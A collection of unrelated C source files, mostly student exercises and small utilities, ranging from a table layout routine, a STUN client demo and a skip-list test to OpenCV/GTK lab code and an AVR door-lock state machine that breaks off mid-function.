// calculate how many unknown rows
for ( row = 0; row < lel->numrows; row++ )
{
if ( lel->rows[row].height.is_set )
{
if ( lel->rows[row].height.is_percentage )
percentage_height += lel->rows[row].height.size;
else
available_height -= lel->rows[row].height.size;
}
else
unknown_rows++;
}
if ( percentage_height > 0 )
{
// rows with unknown size become min_cell_height
int min_unknown_height = min_cell_height * unknown_rows;
int total_percentage = 0;
percentage_available = available_height;
total_percentage = percentage_height;
if ( total_percentage >= 100 )
total_percentage = 100;
percentage_available *= total_percentage / 100.0;
if ( percentage_available > available_height - min_unknown_height )
percentage_available = available_height - min_unknown_height;
available_height = available_height - percentage_available;
}
else
{
percentage_height = 1;
}
if ( 1 )
{
float row_shared_f = (float)available_height / (float)(unknown_rows<=0?1:unknown_rows);
int row_shared = floor(row_shared_f);
int percent_used = 0;
int percent_space_used = 0;
int y_pos = 0;
for ( row = 0; row < lel->numrows; row++ )
{
lelex_row_t *rowp = &lel->rows[row];
int row_height = 0;
if ( rowp->height.is_set )
{
if ( rowp->height.is_percentage )
{
percent_used += rowp->height.size;
row_height = percentage_available * rowp->height.size / percentage_height;
if ( percent_used == percentage_height )
{
row_height = percentage_available - percent_space_used;
}
percent_space_used += row_height;
}
else
{
row_height = rowp->height.size;
}
}
else
{
row_height = row_shared;
unknown_rows--;
if ( unknown_rows == 0 )
{
row_height = ceil( row_shared_f );
}
}
for ( cell = 0; cell < rowp->numcells; cell++ )
{
rowp->cells[cell].bounds.y = y_pos;
rowp->cells[cell].bounds.h = row_height<=0?1:row_height;
}
//printf( "Row %d starts at %dpx and is %dpx high.\n", row, y_pos, row_height );
y_pos += row_height;
lelex_calculate_cells( lel, rowp, width, height, min_cell_width, min_cell_height );
}
}
}
lelex_cell_t *lelex_get_cell( lelex_t *lel, const char *name )
{
int cell;
for ( cell = 0; cell < lel->numcells; cell++ )
{
if ( !strcasecmp( lel->cells[cell].name, name ) )
return &lel->cells[cell];
}
return NULL;
}
|
C
|
#include <stdio.h>
int main() {
long double f1 = 34.567839023L;
float f2 = 12.345F;
long double f3 = 8923.1234857L;
float f4 = 3456.091F;
printf("34.567839023 is %0.9lf\n", f1);
printf(" 12.345 is %.3f\n", f2);
printf(" 8923.1234857 is %.7lf\n", f3);
printf("3456.091 is %0.1f\n", f4);
}
|
C
|
#include <stdio.h>
int main(){
int testcases, max, rank[10], i, cases=1;
char url[10][100];
scanf("%d",&testcases);
while(1){
if(testcases == 0)
break;
max = 0;
for(i=0;i<10;i++){
scanf("%s %d",&url[i], &rank[i]);
if(rank[i] > max)
max = rank[i];
}
printf("Case #%d:\n", cases);
for(i=0;i<10;i++){
if(rank[i] == max)
printf("%s\n",url[i]);
}
cases++;
testcases--;
}
return 0;
}
|
C
|
/*******************************************************************/
/* CT60A2500 C-ohjelmoinnin perusteet
* Otsikkotiedot: L05_T4
* Tekijä: Tero Lompolo
* Opiskelijanumero: 0615760
* Päivämäärä: 2.10.2020
* Yhteistyö ja lähteet, nimi ja yhteistyön muoto:
*/
/*******************************************************************/
#include <stdio.h>
#include <stdlib.h>
enum Boolean {FALSE, TRUE};
int paavalikko() {
int valinta;
printf("1) Tulosta taulukon alkiot\n");
printf("2) Muuta taulukon kokoa\n");
printf("0) Lopeta\n");
printf("Anna valintasi: ");
scanf("%d", &valinta);
return valinta;
}
int* varaaMuisti(int koko){
return (int*)malloc(koko * sizeof(int));
}
void vapautaMuisti(int *taulu){
free(taulu);
taulu = NULL;
}
void taytaTaulukko(int *taulu, int koko){
for (int i = 0; i < koko; i++)
{
taulu[i] = i;
}
}
void tulostaTaulukko(int *taulu, int koko){
if (taulu == NULL || koko < 1)
printf("Taulukko on tyhjä.\n");
else {
printf("Taulukon alkiot ovat: ");
for (int i = 0; i < koko; i++)
{
printf("%d ", taulu[i]);
}
printf("\n");
}
}
int taulukonKoko(){
int koko;
printf("Anna taulukon uusi koko: ");
scanf("%d", &koko);
if (koko < 0)
{
printf("Taulukon koko ei voi olla negatiivinen.\n");
koko = -1;
}
return koko;
}
int main() {
int jatka = TRUE;
int valinta = 0;
int *taulu = NULL;
int koko = 0;
int tmp = 0;
while (jatka)
{
valinta = paavalikko();
switch (valinta)
{
case 0:
jatka = FALSE;
vapautaMuisti(taulu);
printf("Kiitos ohjelman käytöstä.\n");
break;
case 1:
tulostaTaulukko(taulu, koko);
break;
case 2:
tmp = taulukonKoko();
if (tmp == -1)
break;
koko = tmp;
if (taulu != NULL)
vapautaMuisti(taulu);
taulu = varaaMuisti(koko);
if (taulu == NULL)
{
perror("Muistin varaus epäonnistui");
exit(0);
}
taytaTaulukko(taulu, koko);
break;
default:
printf("Tuntematon valinta, yritä uudestaan.\n");
}
}
return 0;
}
/*******************************************************************/
/* eof */
|
C
|
/*
** EPITECH PROJECT, 2019
** reset_cooldown.c
** File description:
** reset all my cooldowns
*/
#include "my.h"
void reset_cooldown(fight_t *f)
{
f->spell.cooldown[0] = 0;
f->spell.cooldown[1] = 0;
f->spell.cooldown[2] = 0;
f->spell.cooldown[3] = 0;
f->spell.cooldown[4] = 0;
}
void decrease_when_popo(fight_t *f)
{
if (f->spell.cooldown[1] > 0)
f->spell.cooldown[1] = f->spell.cooldown[1] - 1;
if (f->spell.cooldown[0] > 0)
f->spell.cooldown[0] = f->spell.cooldown[0] - 1;
if (f->spell.cooldown[3] > 0)
f->spell.cooldown[3] = f->spell.cooldown[3] - 1;
if (f->spell.cooldown[2] > 0)
f->spell.cooldown[2] = f->spell.cooldown[2] - 1;
}
|
C
|
//
// main.c
// p1
//
// Created by Terry Shao on 3/24/14.
// Copyright (c) 2014 Terry Shao. All rights reserved.
//
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include "SkipList.h"
#include "HBTree.h"
#define SL
//#define HBT
int count = 10000;
Skiplist * sl;
int moves = 0;
int avg = 0;
int main() {
srand((unsigned)time(NULL));
#ifdef SL
printf("### Function Test ###\n");
int i = 0;
printf("=== Init Skip List ===\n");
sl = (Skiplist*)malloc(sizeof(Skiplist));
SL_Init(sl);
for ( i = 0; i < count; i++) {
SL_Insert(sl,rand()%count);
}
printf("=== Print Skip List ===\n");
SL_Print(sl);
printf("=== Search Skip List ===\n");
for (i = 0; i < count; i++) {
//int value = rand()%(count+10);
moves = 0;
printf("Search[%d]: %s\t\tMoves: %d\n", i, (SL_Search(sl, i, &moves) + 1) ? "Found" : "Not Found", moves);
avg += moves;
}
printf("Avg: %d\n", avg/count);
// printf("=== Delete Skip List ===\n");
// for (i = 0; i < count+10; i+=2) {
// printf("Delete[%d]: %s\n", i, SL_Delete(sl, i)?"SUCCESS":"NOT FOUND");
// }
// SL_Print(sl);
#endif
#ifdef HBT
int i;
key_t key;
rb_node_t* root = NULL;
for (i = 1; i < count; ++i){
key = rand() % count;
if ((root = rb_insert(key, i, root))){
//printf("[i = %d] insert key %d success!\n", i, key);
}
else{
printf("[i = %d] insert key %d error!\n", i, key);
exit(-1);
}
// if (!(i % 10)){
//
// if ((root = rb_erase(key, root))){
//
// printf("[i = %d] erase key %d success\n", i, key);
// }else{
//
// printf("[i = %d] erase key %d error\n", i, key);
// }
// }
}
for (i = 1; i < count; ++i) {
moves = 0;
printf("Search[%d]: %s\t\t Moves: %d\n", i, rb_search(i, root, &moves)? "Found" : "Not Found", moves);
avg += moves;
}
printf("Avg: %d\n", avg/count);
#endif
return 0;
}
|
C
|
#include <stdio.h>
#include <sys/stat.h>
unsigned long get_file_size (const char *path)
{
unsigned long filesize = -1;
struct stat statbuff;
if (stat (path, &statbuff) < 0)
{
return filesize;
}
else
{
filesize = statbuff.st_size;
}
return filesize;
}
int main()
{
//unsigned long size = get_file_size("a.txt");
unsigned long size = get_file_size("b.log");
printf ("size = %ld\n", size);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
/**
* echo测试
* 程序变量需要在launch.json中的args[]添加命令行参数
* */
int main(int argc,char *args[])
{
while(--argc > 0)
{
printf("%s%c",*++args,(argc>1)?' ':'\n');
}
system("pause");
return 0;
}
|
C
|
#include <stdlib.h>
#include <unistd.h>
typedef int fd_t;
struct buf_t {
size_t capacity;
size_t size;
char* buffer;
};
struct buf_t *buf_new(size_t capacity);
void buf_free(struct buf_t *);
size_t buf_capacity(struct buf_t *);
size_t buf_size(struct buf_t *);
ssize_t buf_fill(fd_t fd, struct buf_t * buf, size_t required);
ssize_t buf_flush(fd_t fd, struct buf_t * buf, size_t required);
ssize_t buf_readuntil(fd_t fd, struct buf_t * buf, char delim);
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define MAXLINE 200
/*
*
* STUN(RFC5389) client demo by Chris <nodexy@gmail>
*
* Test by turnserver-0.6 from http://turnserver.sourceforge.net
*
* @ 2012-2-27 AT Shenzhen, China
* @ 2012-2-29 version 0.1
*/
int stun_xor_addr(char * stun_server_ip,short stun_server_port,short local_port,char * return_ip_port);
int main(int argc, char *argv[])
{
if (argc != 4) {
printf("STUN(RFC5389) client demo by Chris <nodexy@gmail>\n");
printf("usage: %s <server_ip> <server_port> <local_port>\n\n", argv[0]);
exit(1);
}
printf("Main start ... \n");
int n = 0;
char return_ip_port[50];
n = stun_xor_addr(argv[1],atoi(argv[2]),atoi(argv[3]),return_ip_port);
if (n!=0)
printf("STUN req error : %d\n",n);
else
printf("ip:port = %s\n",return_ip_port);
printf("Main over.\n");
}
int stun_xor_addr(char * stun_server_ip,short stun_server_port,short local_port,char * return_ip_port)
{
struct sockaddr_in servaddr;
struct sockaddr_in localaddr;
unsigned char buf[MAXLINE];
int sockfd, i;
unsigned char bindingReq[20];
int stun_method,msg_length;
short attr_type;
short attr_length;
short port;
short n;
//# create socket
sockfd = socket(AF_INET, SOCK_DGRAM, 0); // UDP
// server
bzero(&servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
inet_pton(AF_INET, stun_server_ip, &servaddr.sin_addr);
servaddr.sin_port = htons(stun_server_port);
// local
bzero(&localaddr, sizeof(localaddr));
localaddr.sin_family = AF_INET;
//inet_pton(AF_INET, "192.168.0.181", &localaddr.sin_addr);
localaddr.sin_port = htons(local_port);
n = bind(sockfd,(struct sockaddr *)&localaddr,sizeof(localaddr));
//printf("bind result=%d\n",n);
printf("socket opened to %s:%d at local port %d\n",stun_server_ip,stun_server_port,local_port);
//## first bind
* (short *)(&bindingReq[0]) = htons(0x0001); // stun_method
* (short *)(&bindingReq[2]) = htons(0x0000); // msg_length
* (int *)(&bindingReq[4]) = htonl(0x2112A442);// magic cookie
*(int *)(&bindingReq[8]) = htonl(0x63c7117e); // transacation ID
*(int *)(&bindingReq[12])= htonl(0x0714278f);
*(int *)(&bindingReq[16])= htonl(0x5ded3221);
printf("Send data ...\n");
n = sendto(sockfd, bindingReq, sizeof(bindingReq),0,(struct sockaddr *)&servaddr, sizeof(servaddr)); // send UDP
if (n == -1)
{
printf("sendto error\n");
return -1;
}
// time wait
sleep(1);
printf("Read recv ...\n");
n = recvfrom(sockfd, buf, MAXLINE, 0, NULL,0); // recv UDP
if (n == -1)
{
printf("recvfrom error\n");
return -2;
}
//printf("Response from server:\n");
//write(STDOUT_FILENO, buf, n);
if (*(short *)(&buf[0]) == htons(0x0101))
{
printf("STUN binding resp: success !\n");
// parse XOR
n = htons(*(short *)(&buf[2]));
i = 20;
while(i<sizeof(buf))
{
attr_type = htons(*(short *)(&buf[i]));
attr_length = htons(*(short *)(&buf[i+2]));
if (attr_type == 0x0020)
{
// parse : port, IP
port = ntohs(*(short *)(&buf[i+6]));
port ^= 0x2112;
/*printf("@port = %d\n",(unsigned short)port);
printf("@ip = %d.",buf[i+8] ^ 0x21);
printf("%d.",buf[i+9] ^ 0x12);
printf("%d.",buf[i+10] ^ 0xA4);
printf("%d\n",buf[i+11] ^ 0x42);
*/
sprintf(return_ip_port,"%d.%d.%d.%d:%d",buf[i+8]^0x21,buf[i+9]^0x12,buf[i+10]^0xA4,buf[i+11]^0x42,port);
break;
}
i += (4 + attr_length);
}
}
// TODO: bind again
close(sockfd);
printf("socket closed !\n");
return 0;
}
|
C
|
#include <stdio.h>
int abs(int a){
if(a > 0) return a;
else return -a;
}
int main(void) {
int a1[20], i, dif, index1, index2;
for(i = 0; i < 20; i++)
scanf("%d", &a1[i]);
dif = abs(a1[0]-a1[1]);
index1 = 0;
index2 = 1;
for(i = 1; i < 19; i++){
if(abs(a1[i]-a1[i+1]) > dif){
dif = abs(a1[i]-a1[i+1]);
index1 = i;
index2 = i+1;
}
}
printf("Maior diferença: %d\nIndice 1: %d\nIndice 2:%d\n", dif, index1, index2);
return 0;
}
|
C
|
/**
* @file main.c
* @brief Breve Descrição
*
* Descrição mais detalhada do ficheiro que até poderiam incluir links para imagens etc.
*
* @author luis, sarmento@ua.pt
*
* @internal
* Created 27-set-2017
* Company University of Aveiro
* Copyright Copyright (c) 2017, luis
*
* =====================================================================================
*/
#define _MAIN_C_
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#include <sys/time.h>
#include <errno.h>
#include "myf.h"
/*Global variables */
//int bin_limitG = 128;
//IplImage *src_imageG = NULL, *dst_imageG = NULL;
int main( int argc, char *argv[])
{
#if 0
//EX1
PrintRedLine();
HighLightText();
printf("Texto destacado\n");
ResetTextColors();
printf("Texto normal\n");
PrintRedLine();
#endif
#if 0
//EX2 a
char *st=GenerateRandomString(100);
if(st)
{
printf("string pedida: \n%s\n",st);
PrintRedLine();
ResetTextColors();
PrintColorVowelsZ(st);
free(st);
}
else
printf("OUT OF MEMORY \n");
#endif
#if 0
//EX3
//EX2 a
char *st=CreateRandomVowelStringX(200);
if(st)
{
//printf("string pedida: \n%s\n",st);
PrintRedLine();
ResetTextColors();
PrintColorVowelsZ(st);
free(st);
}
else
printf("OUT OF MEMORY \n");
#endif
#if 0
//EX2 a
char *st=CreateRandomVowelStringX(200);
if(st)
{
//printf("string pedida: \n%s\n",st);
PrintRedLine();
ResetTextColors();
PrintColorVowelsZ(st);
vStat *vs = CountLettersX(st);
PrintLettersSatus(vs);
free(st);
free(vs);
}
else
printf("OUT OF MEMORY \n");
#endif
#if 0
//ex4
//char *str1= GenerateRandomString(9);
char *str1;
if(argc>1)
{
str1 = malloc(sizeof(argv[1]));
strcpy(str1,argv[1]);
printf("%s\n",str1);
ReverseStringX(str1);
printf("%s\n",str1);
free(str1);
}
#endif
#if 0
//EX4 b
InterleaveStrings("abcde","123");
#endif
////////////////////////// AULA6
//EX1
#if 0
MyInit();
MyInit();
#endif
//Ex2
#if 0
int (* ff)(int, int); //ff é ponteiro para função que devolve double e aceita dois int
//ff=(int(*)(int,int))(0x00ff00ff);
ff=AddN;//aponta para AddN
int x = ff(3,5);
printf ("3+5=%d\n",x);
int (* opera[4])(int, int)={AddN, MulN, DivN, SubN}; //array de 4 ponteiros para funções
char op[4]={'+', '*' , ':', '-'};
int val1=6, val2=3;
for(int n=0; n< 4; n++)
printf("Operação %c: %d %c %d = %d\n",op[n], val1, op[n], val2, opera[n](val1, val2) );
#endif
//EX3
#if 0
signal(SIGINT, vive); //ctrl+C
signal(SIGTSTP,vive1); //ctrl+Z, value = 20
signal(SIGQUIT,vive2); // ctrl+\, value = 3
signal(SIGTERM,goodbye); //value = 15
int i=0;
while(1)
{
printf("%d\n",++i);
usleep(50000);
}
#endif
//4
#if 0
//int k;
char file_name[] = "baboon.jpg";
src_imageG = cvLoadImage(file_name, 0); /*0 for gray, -1 for color */
//src_imageG = cvLoadImage(argc == 2 ? argv[1] : file_name, 0); /*0 for gray, -1 for color */
if(!src_imageG)
{
printf("Image was not loaded.\n");
return -1;
}
dst_imageG = cvCloneImage(src_imageG); //create a copy of the image
cvNamedWindow(NAME_IMG_ORG, 0);
cvNamedWindow(NAME_IMG_BIN, 0);
//cvShowImage(NAME_IMG_ORG,src_imageG);
//cvShowImage(NAME_IMG_BIN, dst_imageG);
cvCreateTrackbar("Threshold", NAME_IMG_BIN, &bin_limitG, 255, MakeBinImg); //binarizar
cvShowImage(NAME_IMG_ORG, src_imageG);
MakeBinImg(0); //to show the first image (the argument is dummy)
cvWaitKey(0); //wait for a key to be pressed
cvReleaseImage(&src_imageG); //free image memory space
cvReleaseImage(&dst_imageG); //free image memory space
return 0;
#endif
// EX7
#if 0
char key; //character to use below
cvNamedWindow(NAME_IMG_ORG, 0); //Create (empty) window for camera
cvNamedWindow(NAME_IMG_BIN, 0); //Create (empty) window for processed imag
IplImage * frame; //aux image for data acquisition
CvCapture *capture = cvCaptureFromCAM(0); //Capture using 1st camera: i.e., no. 0
if (!capture)
{
printf("camera not found\n");
exit(0);
}
frame = cvQueryFrame(capture); //Get image frames from capture
int nChannels=1; // 1 for gray or 3 for RGB
src_imageG = cvCreateImage(cvGetSize(frame), IPL_DEPTH_8U, nChannels);//create image for graylevel (8 bits, 1 channel)
dst_imageG = cvClone(src_imageG); //create clone of source image
cvCreateTrackbar("Threshold",NAME_IMG_BIN , &bin_limitG, 255, NULL); //create the trackbar
while(1) //Create infinite loop for live viewing
{
cvQueryFrame(capture); //Update frame. Its pointer does not change.
cvShowImage(NAME_IMG_ORG, src_imageG); //Show image 'src_imageG' on created window
key = cvWaitKey(5); //Capture Keyboard stroke
if(key == 27) break; //If you hit ESC key, the loop will break.
if(nChannels == 1)
cvCvtColor(frame, src_imageG, CV_BGR2GRAY); //Convert frame into gray
else
cvCopy(frame, src_imageG, NULL); //copy frame as it is
cvCopy(src_imageG, dst_imageG, NULL); //copy src into dst and ready to process
MakeBinImg(0); //Your own function to process the image
}
cvReleaseCapture(&capture); //Release capture device.
cvReleaseImage(&dst_imageG); //Release image (free pointer when no longer used)
cvReleaseImage(&src_imageG); //Release image (free pointer when no longer used).
cvReleaseImage(&frame); //Release image (free pointer when no longer used).
cvDestroyWindow(NAME_IMG_ORG); //Destroy Window
cvDestroyWindow(NAME_IMG_BIN); //Destroy Window
return 0;
#endif
// Aula7
// EX1 e 2
#if 0
{
//ShowAndProcessWebcam(imBIN);
//ShowAndProcessWebcam(imCANNY);
//ShowAndProcessWebcam(imERODE);
ShowAndProcessWebcam(imROTATE);
}
#endif
//EX3
#if 0
int LARG=400;
int ALT=400;
IplImage *tabuleiro = cvCreateImage(cvSize(LARG, ALT), IPL_DEPTH_8U, 3);
cvZero(tabuleiro); //force initial image to black, otherwise value unknown
cvNamedWindow(NAME_IMG_TAB, 0);
for(int l = 0; l < tabuleiro->height; l += tabuleiro->height / 8)
cvLine(tabuleiro, cvPoint(0,l), cvPoint(tabuleiro->width,l), CV_RGB(255, 255, 255), 1, 8, 0 );
for(int l = 0; l < tabuleiro->width; l += tabuleiro->width / 8)
cvLine(tabuleiro, cvPoint(l,0), cvPoint(l,tabuleiro->height), CV_RGB(255, 255, 255), 1, 8, 0 );
/*...*/
//EX4
#if 0
DrawPiece(tabuleiro, 4, 4, 1);
DrawPiece(tabuleiro, 5, 4, 1);
DrawPiece(tabuleiro, 4, 5, 2);
DrawPiece(tabuleiro, 5, 5, 2);
#endif
cvShowImage(NAME_IMG_TAB, tabuleiro);
cvSetMouseCallback(NAME_IMG_TAB, myActionOnMouseClick, (void *) tabuleiro);
char k;
do
{
k=cvWaitKey(0);
}
while(k != 'q');
cvReleaseImage(&tabuleiro);
#endif
//Aula8
#if 0
//...
int r=InitTimer( RespondAlarm ); //Prepare timer and set RespondAlarm as the callback to be executed
if (! r ) return 0; //failed in creating the timer
while(1); //enter an endless loop
return 0;
#endif
// 1c)
#if 0
src_imageG = cvCreateImage(cvSize(300, 80), IPL_DEPTH_8U, 3); //notice that src_imageG is a global variable
cvZero(src_imageG); //force initial to black, otherwise unknown!
cvNamedWindow(NAME_IMG_ORG, 1);
cvShowImage(NAME_IMG_ORG, src_imageG);
InitTimer(RespondAlarm); //Actions upon SIGALRM
cvWaitKey(0); //Endless loop untill keyboard is pressed
cvReleaseImage(&src_imageG); //release memory allocated by cvCreateImage()
cvDestroyWindow(NAME_IMG_ORG); //Destroy Window
#endif
#if 0
int pid = fork();
//from this point process can check where does it come from: parent or child!
if(pid == -1)
{
printf("Could not fork(). Exiting\n"); //still the parent but failed to fork
return -1;
}
if(pid == 0) /* This is the child */
{
printf("I am the child\n");
signal(SIGINT, CTRLChandler);
ChildMain();
}
else /* This is the parent */
{
printf("I am the parent\n");
ParentMain();
}
#endif
//Ex3
#if 0
int ret = fork();
int parent_pid;
if(ret == -1)
{
printf("Could not fork(). Exiting\n");
return -1;
}
if(ret == 0) /* The child */
{
signal(SIGUSR1, ChildUSR1handler);
signal(SIGUSR2, ChildUSR2handler);
MessageFromChild("I am the child\n");
parent_pid = getppid();
usleep(200000); //Must give time to operating system to register signal, otherwise process exits prematurely if it receives it earlier
ChildMain2(parent_pid);
}
else/* The parent */
{
signal(SIGUSR1, ParentUSR1handler);
signal(SIGUSR2, ParentUSR2handler);
usleep(200000); //idem as above
MessageFromParent("I am the parent\n");
ParentMain2(ret);
}
#endif
//Aula9
// EX1
#if 0
int pid = fork();
int s_id;
if(pid == -1) { printf("Could not fork(). Exiting\n"); return -1; }
if(pid == 0) /* The child */
{
MessageFromChild("I am the child\n");
ChildMain3();
MessageFromChild("CHILD ended\n");
}
else /* The parent */
{
MessageFromParent("I am the parent\n");
s_id = ParentMain3(); //Get s_id from return value to know the id to destroy the shared mem
if(s_id > 0) shmctl(s_id, IPC_RMID, NULL); //Allow elimination of shared memory (elemina a memória quando o último de sair)
//if you comment the previous line the shared memory is not cleared from system!
MessageFromParent("PARENT ended\n");
}
return 0;
#endif
#if 0
int n, fd;
fd=OpenPort("/dev/ttyUSB0", "Ola");
if(fd == -1) { printf("Error. Could not open port\n"); exit(1); }
ReadPortUntilChar(fd);
close(fd);
#endif
//Aula 10 e 11
#if 1
gtk_init(&argc, &argv);
/* load the interface after a configuration file*/
builderG = gtk_builder_new();
gtk_builder_add_from_file(builderG, "mydr2.glade", NULL);
/* connect the signals in the interface */
gtk_builder_connect_signals(builderG, NULL);
/* get main window Widget ID and connect special signals
GtkWidget *t = GTK_WIDGET(gtk_builder_get_object(builderG, "window1"));
if(t)
{
g_signal_connect(G_OBJECT(t), "delete_event", G_CALLBACK(pari_delete_event), NULL);
}
*/
// use signal to catch SIGINT (CTRL-C) - optional
//signal(SIGINT, InterceptCTRL_C);
//p_InitTimer();
/* start the event loop */
g_timeout_add(30, (GSourceFunc) pari_UpdateImageAreas, (gpointer) NULL);
captureG=pari_StartImageAcquisition();
/* start the event loop */
gtk_main();
cvReleaseCapture(&captureG); //Release capture device.
cvReleaseImage(&dst_imageG); //Release image (free pointer when no longer used)
cvReleaseImage(&src_imageG); //Release image (free pointer when no longer used).
return 0;
#endif
}
|
C
|
#include <stdio.h>
#include <stdlib.h> // access: rand, srand
#include <string.h> // access: strcmp
#include <unistd.h> // access: getpid
typedef struct _Er1 { short int code; } Er1;
typedef struct _Er2 { int code; } Er2;
typedef struct _Er3 { long int code; } Er3;
// typedef struct name {} ActualName
typedef union _ReturnValue {
double ret;
Er1 er1;
Er2 er2;
Er3 er3;
} ReturnValue;
typedef struct _ReturnObject {
int type; // 0: normal, X: ErX
ReturnValue rv;
} ReturnObject;
int eperiod = 10000; // error period
ReturnObject rtn1( double i ) {
if ( rand() % eperiod == 0 ) {
Er1 er1 = { (short int)rand() };
ReturnValue rv;
rv.er1 = er1;
ReturnObject ro = { 1, rv };
return ro;
}
return (ReturnObject){ .type = 0, .rv = { .ret = i } };
}
ReturnObject rtn2( double i ) {
if ( rand() % eperiod == 0 ) {
Er2 er2 = { rand() };
ReturnValue rv;
rv.er2 = er2;
ReturnObject ro = { 2, rv };
return ro;
}
ReturnObject ret = rtn1( i );
if (ret.type) return ret;
return (ReturnObject){ .type = 0, .rv = { .ret = ret.rv.ret + i } };
}
ReturnObject rtn3( double i ) {
if ( rand() % eperiod == 0 ) {
Er3 er3 = { rand() };
ReturnValue rv;
rv.er3 = er3;
ReturnObject ro = { 3, rv };
return ro;
}
ReturnObject ret = rtn2( i );
if (ret.type) return ret;
return (ReturnObject){ .type = 0, .rv = { .ret = ret.rv.ret + i } };
}
int main( int argc, char * argv[] ) {
int times = 100000000, seed = getpid(); // default values
switch ( argc ) {
case 4: if ( strcmp( argv[3], "d" ) != 0 ) { // default ?
seed = atoi( argv[3] ); if ( seed <= 0 ) goto Fail;
} // if
case 3: if ( strcmp( argv[2], "d" ) != 0 ) { // default ?
eperiod = atoi( argv[2] ); if ( eperiod <= 0 ) goto Fail;
} // if
case 2: if ( strcmp( argv[1], "d" ) != 0 ) { // default ?
times = atoi( argv[1] ); if ( times <= 0 ) goto Fail;
} // if
case 1: break; // use all defaults
default: goto Fail;
} // switch
srand( seed );
double rv = 0.0;
int ev1 = 0, ev2 = 0, ev3 = 0;
int rc = 0, ec1 = 0, ec2 = 0, ec3 = 0;
for ( int i = 0; i < times; i += 1 ) {
ReturnObject ret = rtn3( i );
switch ( ret.type ) {
case 3:
ev3 += ret.rv.er3.code;
ec3 += 1;
break;
case 2:
ev2 += ret.rv.er2.code;
ec2 += 1;
break;
case 1:
ev1 += ret.rv.er1.code;
ec1 += 1;
break;
default:
rv += ret.rv.ret;
rc += 1;
}
} // for
printf("normal result %g exception results %d %d %d\n", rv, ev1, ev2, ev3);
printf("calls %d exceptions %d %d %d\n", rc, ec1, ec2, ec3);
return 0;
Fail:
printf("Usage: %s [ times > 0 | d [ eperiod > 0 | d [ seed > 0 ] ] ]\n", argv[0]);
exit( EXIT_FAILURE );
}
|
C
|
#ifndef DEFINE_H
#define DEFINE_H
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#define FLAG_NULL 0x00
#define FLAG_OPERAND_1 0x01
#define FLAG_OPERAND_2 0x02
#define FLAG_OPERANDS 0x03
#define FLAG_MENU_3 0x04
#define FLAG_MENU_4 0x08
#define FLAG_MENU_5 0x10
#define FLAG_MENU_6 0x20
#define FLAG_MENU_7 0x40
#define FLAG_MENU_8 0x80
#define FLAG_MENU_ALL 0xFC
#define MAX_BUF 0xFF
/* si se prefiere en binario, para ver mejor como trabaja la bandera binaria flag
#define FLAG_NULL 0b00000000
#define FLAG_OPERAND_1 0b00000001
#define FLAG_OPERAND_2 0b00000010
#define FLAG_OPERANDS 0b00000011
#define FLAG_MENU_3 0b00000100
#define FLAG_MENU_4 0b00001000
#define FLAG_MENU_5 0b00010000
#define FLAG_MENU_6 0b00100000
#define FLAG_MENU_7 0b01000000
#define FLAG_MENU_8 0b10000000
#define FLAG_MENU_ALL 0b11111100
#define MAX_BUF 0xFF
*/
#endif // DEFINE_H
|
C
|
#include "delay.h"
void SysTick_Configuration(void)
{
if(SysTick_Config(SystemCoreClock/1000000))
{
while(1);
}
}
void Delay_us(volatile uint32_t nTime)
{
TimingDelay = nTime;
while(TimingDelay != 0);
}
void Delay_ms(volatile uint32_t mTime)
{
TimingDelay = mTime * 1000;
while(TimingDelay != 0);
}
void TimingDelay_Decrement(void)
{
if(TimingDelay != 0x00)
{
TimingDelay --;
}
}
static u8 fac_us=0;//usʱ
static u16 fac_ms=0;//msʱ
void delay_init(void)
{
SysTick_CLKSourceConfig(SysTick_CLKSource_HCLK_Div8); //ѡⲿʱ HCLK/8
fac_us=SystemCoreClock/1000000; //Ϊϵͳʱӵ1/8
fac_ms=(u16)fac_us*1000;//ucos,ÿmsҪsystickʱ
}
void delay_ms(u16 nms)
{
u32 temp;
SysTick->LOAD=(u32)nms*fac_ms;//ʱ(SysTick->LOADΪ24bit)
SysTick->VAL =0x00; //ռ
SysTick->CTRL|=SysTick_CTRL_ENABLE_Msk ; //ʼ
do
{
temp=SysTick->CTRL;
}
while(temp&0x01&&!(temp&(1<<16)));//ȴʱ䵽
SysTick->CTRL&=~SysTick_CTRL_ENABLE_Msk; //رռ
SysTick->VAL =0X00; //ռ
}
void delay_us(u32 nus)
{
u32 temp;
SysTick->LOAD=nus*fac_us; //ʱ
SysTick->VAL=0x00; //ռ
SysTick->CTRL|=SysTick_CTRL_ENABLE_Msk ; //ʼ
do
{
temp=SysTick->CTRL;
}
while(temp&0x01&&!(temp&(1<<16)));//ȴʱ䵽
SysTick->CTRL&=~SysTick_CTRL_ENABLE_Msk; //رռ
SysTick->VAL =0X00; //ռ
}
|
C
|
/* Author: Karsten
* Partner(s) Name:
* Lab Section:
* Assignment: Lab # Exercise #
* Exercise Description: [optional - include for your own benefit]
*
* I acknowledge all content contained herein, excluding template or example
* code, is my own original work.
*/
#include <avr/io.h>
#ifdef _SIMULATE_
#include <simAVRHeader.h>
#endif
#define button_x (PINA & 0x01) //button_x = PINA & 0x01 (PA0);
#define button_y (PINA & 0x02) //button_y = PINA & 0x02 (PA1);
#define button_pnd (PINA & 0x04) //button_pnd (#) = PINA & 0x04 (PA0 & PA1)
#define button_in (PINA & 0x80) //button_in (inside house) = PINA & 0x80 (PA7)
enum States {SM_START, SM_INIT, SM_Y, SM_PND} SM_State;
unsigned char tmpB = 0x00;//for PORTB
void tick(){
//transitions
switch(SM_State){
case SM_START:
SM_State = SM_INIT;
break;
case SM_INIT:
if(button_pnd){ //if only '#' is pressed
SM_State = SM_PND;
}else{
SM_State = SM_INIT;
break;
case SM_PND:
if(button_y){ //if only 'Y' is pressed
SM_State = SM_Y;
}else{
SM_State = SM_INIT; //if anything else, lock door (init)
}
break;
case SM_Y:
if(button_in){ //if inside button pressed lock the door (init)
SM_State = SM_INIT;
}
break;
default:
break;
}
//state actions
switch(SM_State){
case SM_START:
break;
case SM_INIT:
tmpB = 0x00; //door locked
PORTB = tmpB;
break;
case SM_PND:
break;
case SM_Y:
if(tmpB == 0x00){
tmpB = 0x01; //if locked before unlock
}else if(tmpB == 0x01){
tmpB = 0x00; //if unlocked before lock
}
